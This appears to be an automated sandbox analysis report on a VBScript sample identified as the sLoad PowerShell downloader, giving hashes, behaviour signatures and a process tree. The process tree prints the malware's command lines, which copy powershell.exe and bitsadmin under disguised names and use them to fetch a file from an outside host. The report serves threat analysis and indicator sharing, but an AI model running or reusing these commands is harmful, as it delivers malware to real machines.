Analysis

  • max time kernel
    31s
  • max time network
    111s
  • platform
    windows10_x64
  • resource
    win10v20201028
  • submitted
    01-03-2021 10:39

General

  • Target

    00SBLFNC71R18D160W.vbs

  • Size

    699B

  • MD5

    70053c798a635f12c002e57eacb3bd26

  • SHA1

    4cbe4c33fc5f44265e15bb6e583f46c878a97341

  • SHA256

    43202b6bcac9d8c195da84abee91ebd15ee80337421dc6e0eaa1c2e1481bb123

  • SHA512

    62652ceb291614da3b19be434fe3db7f1777e080b3e030c370cea1112dbd81a677a917ef356265bdeed732af89ebab6760cd7996179a477fe595ae4795402c69

Score
10/10

Malware Config

Signatures

  • sLoad

    sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.

  • Executes dropped EXE 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious use of WriteProcessMemory 9 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\00SBLFNC71R18D160W.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:3008
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aREepkDUA.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\lALIBfV*.exe
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:960
      • C:\Windows\system32\cmd.exe
        cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\aREepkDUA.exe
        3⤵
          PID:1392
        • C:\Windows\system32\cmd.exe
          cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\lALIBfV*.exe
          3⤵
            PID:1840
        • C:\ProgramData\lALIBfVin.exe
          "C:\ProgramData\lALIBfVin.exe" /wrap /transfer wyajDGCI https://agaux.com/ogoksi/SBLFNC71R18D160W/developer.txt C:\ProgramData\developer.txt
          2⤵
          • Executes dropped EXE
          PID:1580

      Network

      MITRE ATT&CK Enterprise v6

      Replay Monitor

      Loading Replay Monitor...

      Downloads

      • C:\ProgramData\lALIBfVin.exe

        MD5

        bc3fc615ded204ba43b3b5ee76e7aa32

        SHA1

        7295b2b245fe99eac5a597693b4388c38b50edca

        SHA256

        452eb204875973149566fed16fe8869f3ee9cb11961b50dd088e5efb5a093889

        SHA512

        7c619b7d3a92f1b18302e0473f54cd712888088181350d63cafcabbe35753abe93819bfb95dda77b93fd8ff9f5dccef15caa3c077cc22ff95b73138b317107ca

      • C:\ProgramData\lALIBfVin.exe

        MD5

        bc3fc615ded204ba43b3b5ee76e7aa32

        SHA1

        7295b2b245fe99eac5a597693b4388c38b50edca

        SHA256

        452eb204875973149566fed16fe8869f3ee9cb11961b50dd088e5efb5a093889

        SHA512

        7c619b7d3a92f1b18302e0473f54cd712888088181350d63cafcabbe35753abe93819bfb95dda77b93fd8ff9f5dccef15caa3c077cc22ff95b73138b317107ca

      • memory/960-2-0x0000000000000000-mapping.dmp

      • memory/1392-3-0x0000000000000000-mapping.dmp

      • memory/1580-6-0x0000000000000000-mapping.dmp

      • memory/1840-4-0x0000000000000000-mapping.dmp